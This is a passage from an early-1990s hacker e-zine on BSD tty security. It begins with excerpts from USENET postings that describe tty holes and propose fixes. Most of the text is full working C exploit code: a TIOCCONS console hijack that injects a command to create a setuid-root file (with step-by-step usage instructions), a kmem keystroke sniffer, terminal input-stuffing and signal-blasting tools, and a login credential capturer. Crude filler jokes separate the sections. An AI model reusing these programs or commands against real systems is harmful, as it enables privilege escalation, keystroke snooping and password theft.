sessions if you +have them: make setsid() a no-op, and return an implementation-defined +error upon the pointless POSIX SIGCONT special case, and you even retain +POSIX compatibility if you had it. (Well, with one exception: POSIX +defines a foreground process in terms of its controlling terminal, +rather than the terminal it's trying to access as in BSD. Beg the POSIX +folks to make this rule optional---what do they lose?) Notice how much +extra space users get for running programs. + +22. Make a stdio stream for stdtty, descriptor 3---after all, programs +do want to use it. Change csh and more to read from stdtty rather than +stderr. Someday you may even be able to open stderr write-only [gasp!]. + +23. Have accounting record the dev/inode pair on descriptor 3. In fact, +while you're making accounting work sensibly, record the pid, as well as +the dev/inode pair of the program run (if you can get that information). + +24. Change getty to spawn the pty-handling program, and to disconnect +that session when it receives BREAK. Guess what? You've just set up a +trusted path. + +Most of the recommendations here come from my pty paper, various drafts +of which have been available for many months. (TIOCOPEN* is new.) The +basic ideas come from Bellovin's ``Session Tty'' paper, which has been +available for years. If you get through all of the above and still want +to improve the tty system, you might get some further ideas out of those +papers. See pub/hier/pty/paper.9 on stealth.acf.nyu.edu and its +references for details. + +BSD tty security, part 4: What You Can Look Forward To + +To close this series of postings, I'd like to briefly survey the state +of tty security. I'm sorry I haven't been able to respond personally or +quickly to everyone's mail on this issue. + +Just a few years ago I was exploring the depths of an old Ultrix system. +It didn't take a genius to notice the occasional background jobs gone +astray---obviously any user could affect any other user's tty, despite +vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler +that could act both as a concise stty and as a tty security breaker. +With it I could write arbitrary text to anyone's tty, TIOCSTI terminal +input, change tty mode settings, send tty signals, and so on. + +So I sent copies of the code and documentation to the sysadmin at that +site, and posted a 300-line analysis to comp.unix.wizards. As I recall, +there were three responses. One asked what I was talking about. One was +from the admin describing what I now know to be only a partial fix. One +was from Steve Bellovin referring me to his then-new Session Tty paper +for descriptions of a few of the bugs as well as a complete (but +complex) fix for System V which, to my knowledge, has never been +implemented. + +blip still works on every BSD UNIX machine I can find. It is trivial to +adapt to POSIX. And it has, unfortunately, been spreading slowly around +the net under the name of ``factor.'' + +That's right. Every available BSD UNIX machine allows any user to write +or type arbitrary characters on the tty of another user. With good +timing the attacker can even make his attack invisible---the moment a +sysadmin types a root command, someone could be piggybacking a command +like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse. + +How many people know how to exploit these bugs? Far too many, I'm sure, +but not enough to shock other admins into seeing the magnitude of this +problem. And this pales beside the examples set by vendors. I tell Sun +how insecure ttys are, and offer a bandaid: Sun tells me that POSIX +fixes everything, and refuses to admit that a bandaid is necessary. +Convex is finally waking up, but is still under the delusion that one +kernel kludge after another (from vhangup() to POSIX sessions and +beyond) will solve the fundamental problems of statically allocated, +world-usable ttys. + +Berkeley is finally showing some interest in fixing the bugs, but it +will be years before vendors have picked up the changes, and several +years before the average machine on the net is safe. Sorry, but I'm not +going to wait that long. I am sick of constantly wondering whether my +users know enough to break security. I am sick of hearing that POSIX +fixes the problems. I am sick of seeing vendors blind themselves to such +a fundamental set of holes. You should be sick of it too. + +So here's what I'm doing about it. + +1. In part 3 of this series I outlined a reasonably simple set of fixes. +If you have a BSD-derived system where something in the plan doesn't +work, please post your comments here and we'll see what has to be done. +If you don't have source, and you want to be notified as soon as binary +patches are available, tell CERT your hardware type and OS version at +cert@cert.sei.cmu.edu. + +2. I will dedicate some of my free time to working with vendors and +established authorities like CERT interested in tightening up tty +security. + +3. So that programmers are insulated from these changes in the pty +subsystem, I commit myself to porting my pty manager to any platform I +have access to. + +4. I will attempt to outline a minimal set of (optional) changes to the +POSIX standard to keep the standard from interfering with tty security. +I would be interested in hearing from POSIX committee members interested +in helping with this. + +5. On or around October 29, 1992, I will publish a set of tiger programs +that test for and exploit the failures in BSD tty security that I have +described. + +6. I will give further details on the security holes to anyone who +convinces me that he has a legitimate interest. That means I want a +verifiable chain of people and phone numbers from the contact for a +major network down to whoever wants the information, plus a better +excuse than ``I haven't read Bellovin's paper or your paper yet.'' +If you simply want someone other than me to tell you that the holes +exist, ask bostic@okeeffe.berkeley.edu. (That's Keith Bostic, the guy in +charge of BSD; don't be surprised if he doesn't get to your message +immediately.) Please don't believe vendor assurances that the holes have +been fixed---they haven't. + +I hope I've yelled enough about these bugs now. I hope that soon there +won't be anything to yell about. + + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: series of postings off UseNet +CrossRef: +Code/shRef: +============================================================================== + +`Sex' is not the question. `Sex' is the answer. `Yes' is the question. + +============================================================================== +TTY article 4.ch.03.01 05/03/92 +------------------------------------------------------------------------------ +DATA: + +5. Some tty security holes + +In this section we describe some of the most important security holes +related to ttys. + +There are two types of ttys. Hardwired ttys, such as /dev/console, are +connected directly to lines outside the computer. Pseudo-ttys (ptys), +such as /dev/ttyp3, have device drivers that present a similar +interface, but any output to /dev/ttyp0 is presented as input to a +``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the +``slave'' side of the pseudo-tty. Note that ptys are implemented very +differently in non-BSD systems. + +Many tty security holes relate to the protection of ttys within the +filesystem. A tty is owned by the user whose shell is running under it. +This mistake is a SCINUP (footnote: Security Compromise Introduced in +the Name of User Power) that gives users many opportunities to make +mistakes. Its apparent advantage is that the user can open the tty from +other terminals; but this can be better done in other ways, and doesn't +outweigh the potential problem of a user changing his tty to +world-readable and world-writable. + +The simplest form of user-to-user communication used to be (and still +is) the ``write'' program. One user would set the world-write bit on his +tty; another user would use ``write'' to send messages to the tty. +Unfortunately, this was also a huge hole: other users could just as +easily send unidentified mounds of trash onto the tty, or even apply +ioctls. (stty intr ' ' > /dev/ttyxx.) + +This bug was ``fixed'' in BSD 4.3, and independently in certain other +systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set +to group tty. write and other communications programs were made setgid +tty. Finally, users would set the group-write bit rather than the +world-write bit to allow communications. + +These changes still leave many holes open. The default state of a tty is +still ``messages on,'' so inexperienced users cannot prevent others from +bothering them. Arbitrary, perhaps damaging text can still be sent +through the talk and comsat daemons. The write program itself is still a +fruitful source of bugs, as described in a later section; in particular, +some versions pass descriptors for the other terminal through to a ! +command. This leaves no protection at all. + +The reader may wonder whether write access is so bad---the worst that a +program could do is set the terminal modes strangely. However, changing +the terminal's process group can destroy process control; setting flow +control and flushing output strategically can prevent detection; and +many (real) terminals accept a ``playback'' command that feeds stored +sequences back into the computer. + +Furthermore, if there is a way to open a tty for writing, then there is +a way to open that tty for reading: if a detached process opens a tty in +any way, it will gain that tty as its control terminal, and can then +reopen it for reading. This means that it can use the TIOCSTI ioctl to +simulate terminal input. (This is another example of the problems caused +by the concept of a ``control terminal.'' TIOCSTI is not inherently bad: +although it really should insert characters at the *front* of the queue, +and although it can interfere with typed input if there's no careful +synchronization, TIOCSTI can be used very effectively. Eliminating it, +as has been done in several BSD-derived systems, is a poor solution.) + + +A quite different class of filesystem tty bugs comes from this problem: +Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone. +This is a SCINUP. ``User programs want to run other programs under ptys, +so the ptys have to be unprotected for arbitrary programs to use them.'' +Unfortunately, a program can access the slave side, then wait for a +program to start using the tty, then suddenly jump in and take control. +(Footnote: POSIX sessions offer no protection against this. As the POSIX +Rationale, B.7.1.1.4, states: ``A process accessing a terminal that is +not its controlling terminal is effectively treated the same as a member +of the foreground process group. While this may seem unintuitive, note +that these controls are for the purpose of job control, not security, +and job control relates only to a process's controlling terminal. +*Normal file access permissions handle security*'' (italics added). +Apparently this has been removed from the POSIX.1-1990 rationale; this +author finds it disturbing that the POSIX committee no longer thinks +normal file access permissions should handle security.) + +A particularly nasty application of this hole is to have a program keep +TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other +program with the usual pty allocation code) will find /dev/ttyp0 open +before looking at any other tty, so login be killed instantly. In +combination with other bugs, this can force the sysadmin to shut off +power to the machine, without so much as an accounting trace afterwards. +Another application is a simple Trojan horse, which popular myth says is +impossible for network logins if the attacker doesn't have root +privilege. (Details of this attack are left to the reader.) + +It is also clear that, because ptys are static and unprotected, one user +can trivially deny service to all others, again without so much as an +accounting record. While denial of service is not as severe as a true +security hole, it is just as important. + +Note that some systems have even the hardwired ttys set up mode 666 when +they're unused. This is pointless. It leads to the same bugs as above +and has no conceivable application. + + +A different type of tty bug---one that would apply even if ttys weren't +in the filesystem---is that a program can retain access to a tty even +after someone else logs in. Without some major enhancements to the +system (viz.: dynamic ptys, perhaps through streams), telnetd and getty +have to reuse an available tty without knowing whether a background +process still has access to that tty. Users regularly complain about +garbage spewed onto their screens by other users' background processes; +a security hole waiting for accidents to happen is more dangerous than +one that is difficult to exploit. + + +The careful reader may have raised several objections to the above +descriptions, as some manual pages give the impression that a user can +protect himself from attackers. If a process is running under a +terminal, isn't it susceptible to signals from that terminal? If it's +not in the tty's process group, doesn't it get stopped if tostop is set? +The answers are yes and yes, but an attacker can ignore various signals, +set his process group carefully, and/or stick himself inside a vfork() +to dodge these signal problems. + +A more important objection is that vhangup() revokes access to ttys. +However, empirical tests show that vhangup() does nothing on many +systems, less than its documentation on most, and in any case not much. +Even if it worked as documented, it would not revoke a process's access +to its control terminal. Convex UNIX, perhaps the most secure available +BSD UNIX with respect to tty protection, has a large amount of paranoia +coded into the kernel in various attempts to solve the problems +mentioned above. Even it does not protect against all the above attacks, +and race conditions defeat much of its care. + +Until UNIX has a working enforce() call to reliably enforce new access +permissions on an object, users should never be given permission for +anything that they may not be allowed to do forever. + + +It is worthwhile to note another SCINUP at this point: On Sun's popular +workstations, /etc/utmp is almost always mode 666. Sun did this because +many of its window programs (``tools''), like many programs available +for other machines, would benefit from an /etc/utmp entry. Making +/etc/utmp world-writable was considered more secure than making those +programs setuid root. Unfortunately, many programs depend on /etc/utmp +for accurate information, and can develop new security holes if they are +deluded into thinking that a different user is working under the tty. +Even on single-user machines, a writable /etc/utmp is an accident +waiting to happen. + +6. Adding pty security to current systems + +In this section, we consider what pty can do to prevent the security +holes of section 5. This section is mainly of interest to system +managers of machines derived from BSD 4.2 or 4.3. + +Without support from the kernel, pty must run setuid to provide real +security. It is careful to make sure that the slave runs as the original +uid; it is very careful to make sure that the kernel accounts pty use to +the correct user; and it is extremely careful not to touch any files +outside the session directory. (Foornote: This level of security is very +difficult to achieve under System V before release 4.) + +Under BSD, pty can successfully run setuid as any given user. (It can be +installed by unprivileged users on current insecure machines, but after +taking all the steps mentioned in this section, a sysadmin can be sure +that unauthorized pseudo-tty access is impossible.) Unfortunately, even +BSD doesn't provide enough security features; as mentioned in section 4, +various restrictions, missing capabilities, and bugs probably require +that pty be installed setuid root. + +We will assume that some user, say ``pty'', has been set up for pty use. +This should be a system-only account, never used for interactive logins +and only available for storing privileged programs and secure files. It +may or may not be the same as root. + + +With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys +can be made owner pty, mode 600; and /etc/utmp can be made owner pty, +mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no +longer necessary for user programs to take advantage of these features. +(Of course, pty can work with the old, insecure setup; for a gradual +upgrade, a sysadmin can even dedicate some ptys to secure use and some +old ptys to insecure use.) + +pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty +ownership with pty instead of changing it to the current user. It +supports a default of unwritable (and un-``biffable'') ttys. The pty +package includes mesg and biff adapted to work with these changes. The +system administrator can configure pty without these features if he +wants. + +pty's random pseudo-tty searching can give a huge boost to speed and +security, as mentioned in section 2. Its use of TIOCEXCL closes many +holes, though the widespread use of /dev/tty means that this cannot be +made default. These are independent of all other security features. + +None of the above (except TIOCEXCL, but there are still races) address +the problem of a background process keeping access to a pseudo-tty. +pty's test for previous access is completely reliable under some +variants of the BSD kernel, and completely unreliable under others. If +the kernel could be counted on to exhibit proper O_NDELAY tty behavior, +pty would have closed the most important tty security hole. The author +is considering adding an option for pty to search the kernel file table. +Of course, it would be even better if the kernel supported real streams +and pty were redone to use dynamic stream pseudo-ttys. + +On systems where vhangup() reliably closes everything except /dev/tty, +there's a different solution: Eliminate /dev/tty. This is probably a +good idea for future systems in any case. It is considered further in +section 9. + + +Installing pty with all security measures enabled is useless unless +programs are modified to actually use pty. It is straightforward to +modify getty so that it always ignores the real tty and forks login +under pty. All hardwired /dev/tty* would remain permanently in raw mode, +owned by root, mode 600. + +It is not so easy to modify telnetd to use pty, because telnetd +allocates a pseudo-tty for itself and depends on full control to pass +mode changes between the pseudo-tty and the telnet on the other side of +the network. The author has done the necessary work, using pty's file +descriptor passing feature to give telnetd the tty descriptors. A side +effect of this strategy is that the patched telnetd runs at the same +efficiency as the original version, even after a reconnect. Patches for +telnetd are included in the pty package. + +A few problems arise because pty and login have different views of +/etc/utmp. The latter's strategy regularly leads to race conditions on +heavily used machines, does not adapt well to ptys used in random order, +and is logically impossible to adapt to dynamically allocated ptys. +Nevertheless, pty has to conform to it, so the patched telnetd invokes +pty with -xR to find ptys in an order that login can handle. (Footnote: +A much better solution is to have utmp initialized at system startup to +list all available ptys, in the order that login requires; then pty will +conform to that order. This still won't help login once ptys are out of +the filesystem.) + +A more serious problem is that the pseudo-tty is allocated before +authentication and hence is controlled by root. The pty package includes +a ``sessuser'' command to fix this problem. Once the user owns the +pseudo-tty file and is listed in /etc/utmp for that tty (all as per +login's usual procedure), ``sessuser'' changes ownership of the session +to the user. Then all the other session commands will work properly. + + +Some work still needs to be done, to adapt other common programs +(rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a +sysadmin can take the ``gradual upgrade'' strategy and leave those old +programs to use insecure pseudo-ttys. Users will meanwhile garner the +benefits of tty security and session management. + + +7. pty extras + +lock is a clone of the usual program. It corrects many of the original's +failings, by being much simpler: it does not accept hasta la vista; it +does not accept the root password; it never times out; and it does print +a message for each bad password. (Also, unlike many versions, it catches +all tty signals; so even if an attacker manages to reset the tty from +raw mode, he cannot interrupt the lock.) + write has several +security holes: 1. Control characters were passed through. This version +converts anything unprintable into a caret. 2. Lines were not +distinctively marked. A user could manually simulate the ``EOT'' or +``EOF'' sequence, wait a few minutes, then start sending anything to the +other tty without identification. This version precedes each line with +the name of the sending user, and prints something more informative than +EOT for an ended message. 3. write could be used to flood a terminal. +(This is an accident waiting to happen.) This version puts a one-second +pause between each line and restricts line length. 4. Originally, write +would only check the protection on the tty being written to. But this +meant that a user could be interrupted by someone hiding behind mesg n +and have no recourse. (Footnote: Remember that UNIX has no enforce() +call to enforce new permissions on an object. Setting mesg n does not +stop a write in progress.) So many versions of write included +``revenge'': X was allowed to write to Y only if Y could write back. +However, these versions tested tty protection only at the beginning of a +message---which was useless. This version does the correct test: it +simply checks write permission before sending each new line. + + +------------------------------------------------------------------------------ +Comments: more comments/applications for this information are needed. +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG! + +============================================================================== +blast.c 4.cb.15.00 04/04/92 +------------------------------------------------------------------------------ +DATA: +Signals +======= +There is a major bug in 4.2 which allows you to set your process group +and your terminal process group to any value you like. This results in +several nasty security features. + + #include + #include + + main(argc, argv) + char **argv; + { + register char *str; + register char *cp; + register int pid; + int pgrp; + struct sgttyb sb; + struct sgttyb nsb; + struct tchars tc; + struct ltchars lc; + + if (argc < 2) + { + fprintf(stderr, "usage: blast [-ksd] pid ...\n"); + exit(1); + } + ioctl(0, TIOCGETP, &sb); + nsb = sb; + nsb.sg_flags &= ~ECHO; + ioctl(0, TIOCSETN, &nsb); + if (ioctl(0, TIOCGETC, &tc)) + { + perror("getc"); + goto done; + } + if (ioctl(0, TIOCGLTC, &lc)) + { + perror("lgetc"); + goto done; + } + argv++; + cp = &tc.t_intrc; + sigsetmask(-1); + while (argc-- > 1) + { + str = *argv++; + if (*str == '-') + { + switch (str[1]) { + case 'k': /* kill process */ + cp = &tc.t_intrc; + break; + case 's': /* stop process */ + cp = &lc.t_suspc; + break; + case 'd': /* dump process */ + cp = &tc.t_quitc; + break; + default: /* illegal */ + fprintf(stderr, "bad option\n"); + goto done; + } + continue; + } + pid = 0; + while (*str) + { + pid = pid * 10; + if ((*str < '0') || (*str > '9')) + { + fprintf(stderr, "bad number\n"); + goto done; + } + pid += (*str++ - '0'); + } + pgrp = getpgrp(pid); + if (pgrp < 0) { + perror("getpgrp"); + goto done; + } + if (ioctl(0, TIOCSPGRP, &pgrp)) { + perror("ttyspgrp"); + goto done; + } + if (setpgrp(0, pgrp)) { + perror("spgrp"); + goto done; + } + if (ioctl(0, TIOCSTI, cp)) { + perror("sti"); + goto done; + } + } + + done: ioctl(0, TIOCSETN, &sb); + } + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +A new song by Nirvana: Smells Like Gene Spafford! + +============================================================================== +bugntrig.c 4.cb.15.01 04/04/92 +------------------------------------------------------------------------------ +DATA: + +Here you have the code for two nice programs. bug.c and trig.c. + +It polls bugid#1008324, the well-known TIOCCONS bug. +I take no responsibility for the problems on your system +that might occur after you have run these programs. + +******************************************************************** +*Please do understand that if the wrong user get his hands on these* +*programs, he'll get root-priviliges!!!!!! * +******************************************************************** + + 1) Compile bug.c + 2) Compile trig.c + 3) Move trig to /tmp + 4) Run bug (it will wait until sameone is using the console + 5) Log in as root on the real console + 6) Give some commands on the console + 7) Root will be logged out of the console + 8) You will have a file, owned by root, chmod 4711, named /tmp/testfile + 9) Maybe you have to kill -HUP the getty on the console to force + the console to work again. +10) Be sure to remove testfil, bug and trig. + +bug.c: + +#include +#include +#include +#include +#include +#include +#include + +static void thething() +{ + alarm(5); +} + +static struct sigvec sigge = { + thething, + sigmask(SIGALRM), + SV_INTERRUPT +}; + +main() +{ + int m,s; + char buf[1024]; + char *l; + time_t yesterday; + struct stat devcon; + + /* The last pty on the system */ + static char lastpty[]="/dev/ptyvf"; + +/* The name of the program "trig" */ + static char horrible[] = ";/tmp/trig;exit\n"; + + sigvec(SIGALRM,&sigge,0); + if(stat("/dev/console",&devcon) == -1) { + perror("/dev/console"); + exit(1); + } + yesterday=devcon.st_atime; + if((m=open(lastpty,O_RDWR)) == -1) { + perror(lastpty); + exit(1); + } + + lastpty[5]='t'; + if((s=open(lastpty,O_RDWR)) == -1) { + perror(lastpty); + exit(1); + } + +/* Ok, now get total control of the console */ + if(ioctl(s,TIOCCONS) == -1) { + perror("TIOCONS"); + exit(1); + } + alarm(5); + +/* Wait until the console is used */ + do { + if (read(m,buf,sizeof buf)<0 && errno!=EINTR) + return 1; + stat("/dev/console",&devcon); + } while (devcon.st_atime==yesterday); + +/* Do the ugly stuff */ + alarm(0); + switch (fork()) { + case -1: + return 1; + case 0: + alarm(10); + while (read(m,buf,sizeof buf)>0) + ; + break; + default: +/* In the main process, put the "horrible" command on the console */ + for (l=horrible; *l; l++) + if (write(m,l,1)==-1) + break; + while (wait(0)<=0) + ; + } + return 0; +} + +trig.c: + +#include +#include + +int main(argc,argv,envp) +int argc; +char **argv,**envp; +{ + int s; + + s=open("/dev/console",O_WRONLY); + ioctl(s,TIOCCONS); + close(s); + /* Change this to a nice directory ... */ + chdir("/tmp"); + chown("testfil",0,0); + chmod("testfil",04711); /* Oops, here we go... */ + return 0; +} + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +If women are so independant, why do they go to the bathroom in pairs? + +============================================================================== +readtty.c 4.cb.15.02 04/04/92 +------------------------------------------------------------------------------ +DATA: + +#include +#include +#include +#include +#include +#include +#include + +/** +**/ + + +#defineNDZ1/* DZ's and DH's have to be mapped into */ +#defineNDH2/* your own hardware*/ +#define NPT2/* number of pty controllers*/ +#defineDZ111/* major device number of the dz11*/ +#defineDH1133/* major device number of the dh11*/ +#define PTY20/* major device number of the ptys*/ +#defineDZ_X8/* eight lines per dz11*/ +#defineDH_X16/* sixteen lines per dh11*/ +#define PT_X16/* sixteen lines per pty controller*/ + +#undefmajor()/* need to do this because of kernel*/ +#undefminor()/* macros used to strip off device #'s */ + +static struct nlist nl[2]; + +static char *name_list[] = { +"_dz_tty",/* base address of the dz tty structures*/ +"_dhu11" ,/* same for the dh's*/ +"_pt_tty",/* pseudo-ttys*/ +0 +}; + +main(argc , argv) +char **argv; +int argc; +{ +/********************************/ +int major;/* place to hold major #*/ +int minor;/* place to hold minor #*/ +int board_type;/* tells me which kind of tty */ +int fd;/* fd for memory*/ +long offset;/* how far into the above tables*/ +struct tty ttyb;/* place to put the tty buffer*/ +extern char *calloc();/* our friend calloc*/ + +get_args(&major , &minor , argc , argv); +check_args(major , minor , &board_type , argv); +get_name_list(board_type , argv); +open_memory(&fd , argv); +{ + char *p;/* blank out argument list */ + + for (p = argv[1]; *p != '\0'; p++) *p = '\0'; + for (p = argv[2]; *p != '\0'; p++) *p = '\0'; +} +offset = minor * sizeof(struct tty); +fflush(stdout); +fflush(stdout); +while (1) { +read_tty(fd , nl[0].n_value , offset , &ttyb); +get_clist(fd , &ttyb.t_nu.t_t.T_rawq); +} +} + +/** +***Much monkeying around was done before I settled on this +***procedure. I attempted to follow the c_next pointers in +***the individual cblocks. This is friutless since by the +***time we do the second seek and read the information has +***been whisked away. +*** +***So - The LIMITATIONS of this routine are: +*** +***cannot read from any tty in RAW mode +***can only snarf first 28 characters (ie +***the first cblock) +*** +***Nice things about this routine: +*** +***only NEW characters are echoed to the output +***(eg characters in the cblock which have been +***seen before are swallowed). +**/ + +get_clist(fd , cl) +register struct clist *cl; +{ +static char c[CBSIZE]; +static char *old_start = 0 , *old_finish = 0; +static int old_i = 0; +char *pntr; +int tn , in; + +if ((cl->c_cc > 0) && + ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) { +pntr = c; +lseek(fd , (long) cl->c_cf , 0); +read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc)); +if (old_start == cl->c_cf) { +in -= old_i; +pntr += old_i; +} +if (in > 0) while (in--) putchar(*(pntr++)); +else if (in < 0) while (in++) putchar('\010'); +fflush(stdout); +old_i = tn; +old_start = cl->c_cf; +old_finish = cl->c_cl; +} +if (cl->c_cc <= 0) { +if (old_i != 0) putchar('\n'); +old_i = (int) NULL; +old_start = old_finish = NULL; +} +} + + +read_tty(fd , base , offset , buffer) +long base , offset; +register struct tty *buffer; +{ +register int i; + +lseek(fd , base + offset , 0); +i = read(fd , buffer , sizeof(struct tty)); +if (i != sizeof(struct tty)) { +printf("unexpected return from read\n"); +printf("should have been %d\n" , sizeof(struct tty)); +printf("was %d\n" , i); +exit(0); +} +} + +open_memory(fd , argv) +int *fd; +char **argv; +{ +if ((*fd = open("/dev/kmem" , 0)) < 0) { +perror(argv[0]); +exit(0); +} +} + +get_name_list(index,argv) +int index; +char **argv; +{ +nl[0].n_name = name_list[index]; +nlist("/vmunix" , nl); +if (! nl[0].n_type) { +printf("%s: couldn't get name list\n" , argv[0]); +exit(0); +} +printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value); +} + +get_args(major , minor , argc , argv) +int *major , *minor , argc; +char **argv; +{ +if (argc != 3) { +fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]); +exit(0); +} +*major = atoi(argv[1]); +*minor = atoi(argv[2]); +printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor); +} + +check_args(major , minor , board , argv) +char **argv; +int *board; +{ +if (minor < 0) { +bad_minor:printf("%s: bad minor device number\n" , argv[0]); +exit(0); +} +switch (major) { + +case DZ11: +if (minor >= NDZ * DZ_X) goto bad_minor; +printf("DZ11 - Unit %d\n" , minor / DZ_X); +*board = 0; +break; + +case DH11: +if (minor >= NDH * DH_X) goto bad_minor; +printf("DH11 - Unit %d\n" , minor / DH_X); +*board = 1; +break; + +case PTY: +if (minor >= NPT * PT_X) goto bad_minor; +printf("PTY - Unit %d\n" , minor / PT_X); +*board = 2; +break; + +default: +printf("%s: bad major device number\n" , argv[0]); +exit(0); +} +} + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +If men are interested in only one thing, why do we like beer so much? + +============================================================================== +stufftty.c 4.cb.15.03 04/04/92 +------------------------------------------------------------------------------ +DATA: +Terminals +========= +Under 4.2BSD and it's derivatives, a user can "write" on another users +terminal as if he was really there. Here is some code I call "stuff" +to show off this nasty bug. + /* + * Stuff: program to stuff input into another terminal. + * + * This program bypasses the normal superuser check for stuffing chars + * into other people's terminals. All you need is write permission on + * the user's terminal. + */ + + #include + #include + + main(argc, argv) + char **argv; + { + register int fd; /* file descriptor */ + char ch; /* current character */ + char name[100]; /* tty name */ + struct sgttyb sb; /* old and new tty flags */ + struct sgttyb nsb; + + if (argc < 2) + { + fprintf(stderr, "stuff ttyname\n"); + exit(1); + } + argv++; + if (**argv == '/') + strcpy(name, *argv); /* build full name */ + else + sprintf(name, "/dev/%s", *argv); + + if (setpgrp(0, 0)) /* clear my process group */ + { + perror("spgrp"); + goto done; + } + + if (open(name, 1) < 0) /* open tty, making it mine */ + { + perror(name); + exit(1); + } + + fd = open("/dev/tty", 2); /* open read/write as tty */ + + if (fd < 0) + { + perror("/dev/tty"); + exit(1); + } + + ioctl(0, TIOCGETP, &sb); /* go to raw mode */ + nsb = sb; + nsb.sg_flags |= RAW; + nsb.sg_flags &= ~ECHO; + ioctl(0, TIOCSETN, &nsb); + sigsetmask(-1); /* stop hangups */ + printf("Connected. Type ^B to exit\r\n"); + while (1) + { + if (read(0, &ch, 1) <= 0) break; + if ((ch & 0x7f) == '\002') break; + if (ioctl(fd, TIOCSTI, &ch)) /* stuff char on "his" tty */ + { + perror("\r\nsti failed\r"); + goto done; + } + ch &= 0x7f; /* echo it for me */ + if (ch < ' ') + { + if ((ch == '\r') || (ch == '\n')) + { + write(1, "\r\n", 2); + continue; + } + ch += '@'; + write(1, "^", 1); + write(1, &ch, 1); + continue; + } + if (ch == '\177') { + write(1, "^?", 2); + continue; + } + write(1, &ch, 1); + } + + done: ioctl(0, TIOCSETN, &sb); /* reset tty */ + } + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +This is not for the timid, shy, moralistically superior, easily offended, +religous types, system administrators, old foggies, EFF members...etc + +============================================================================== +tty-spy1: cover.c 4.cb.15.04 04/04/92 +------------------------------------------------------------------------------ +DATA: + +From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) +Newsgroups: alt.security,alt.sources,comp.unix.internals +Subject: BSD tty security - an example +Message-ID: <15678@life.ai.mit.edu> +Date: 8 May 91 09:59:14 GMT + +Here's a small program I wrote a while back. It speaks for itself, +compile it, run it in the background (with &) and sit back. +This program is an official release of the TimeWasters from HOLLAND ! + +--- + + +/************************************************************************/ +/* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */ +/* Unauthorized use and reproduction prohibited. */ +/* This program monitors the login process and records its findings. */ +/************************************************************************/ + + +#include +#include +#include +#include +#include +#include + +#define DEBUG 1 /* Enable additional debugging info (needed!) */ +#define USLEEP /* Define this if your UNIX supports usleep() */ + +#ifdef ULTRIX +#define TCGETS TCGETP/* Get termios structure */ +#define TCSETS TCSANOW/* Set termios structure */ +#endif + + +handler(signal) +int signal; /* signalnumber */ +{ /* do nothing, ignore the signal */ + if(DEBUG) printf("Ignoring signal %d\n",signal); +} + +int readandpush(f,string) +FILE *f; +char *string; +{ + char *cp,*result; + int e; + struct termios termios; + +result=fgets(string,20,f); /* Read a line into string */ +if (result==NULL) +{perror("fgets()"); +return(1); +} +if (DEBUG) +{printf("String: %s\n",string); +fflush(stdout); +} + +ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */ +/* echo = (termios.c_lflag & ECHO);*/ +termios.c_lflag=((termios.c_lflag | ECHO) - ECHO); + ioctl(0,TCSETS,&termios); + + for (cp=string;*cp;cp++) /* Push it back as input */ + { e=ioctl(0,TIOCSTI,cp); +if(e<0) +{perror("ioctl()"); +return(1); +} + } +return(0); +} + +main(argc,argv) +int argc; +char *argv[]; +{ + /* variables */ + int err; + FILE *f; + char *term = "12345678901234567890"; + char *login = "12345678901234567890"; + char *password = "12345678901234567890"; + + if (argc < 2) + { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]); + printf("Enter ttyname: "); + gets(term); + } + else term=argv[argc-1]; + + signal(SIGQUIT,handler); + signal(SIGINT,handler); + signal(SIGTERM,handler); + signal(SIGHUP,handler); + signal(SIGTTOU,handler); + + close(0); /* close stdin */ +#ifdef ULTRIX +if(setpgrp(0,100)==-1) +perror("setpgrp:"); /* Hopefully this works */ +#else +if(setsid()==-1) +perror("setsid:"); /* Disconnect from our controlling TTY and + start a new session as sessionleader */ +#endif + f=fopen(term,"r"); /* Open tty as a stream, this guarantees + getting file descriptor 0 */ + if (f==NULL) + { printf("Error opening %s with fopen()\n",term); + exit(2); + } +if (DEBUG) system("ps -xu>>/dev/null &"); + fclose(f); /* Close the TTY again */ + f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ + if (f==NULL) + { printf("Error opening /dev/tty with fopen()\n",term); + exit(2); + } + +if(readandpush(f,login)==0) +{ +#ifdef USLEEP +usleep(20000);/* This gives login(1) a chance to read the + string, or the second call would read the + input that the first call pushed back ! /* +#else +for(i=0;i<1000;i++) +err=err+(i*i) +/* error/* Alternatives not yet implemented */ +#endif +readandpush(f,password); +printf("Result: First: %s Second: %s\n",login,password); +} + + fflush(stdout); + sleep(30); /* Waste some time, to prevent that we send a SIGHUP + to login(1), which would kill the user. Instead, + wait a while. We then send SIGHUP to the shell of + the user, which will ignore it. */ +fclose(f); +} + +From: urban@cbnewsl.att.com (john.urban) +Newsgroups: alt.security,alt.sources,comp.unix.internals +Subject: Re: BSD tty security - an example +Message-ID: <1991May9.182941.16988@cbnewsl.att.com> +Date: 9 May 91 18:29:41 GMT + +In article <15678@life.ai.mit.edu> 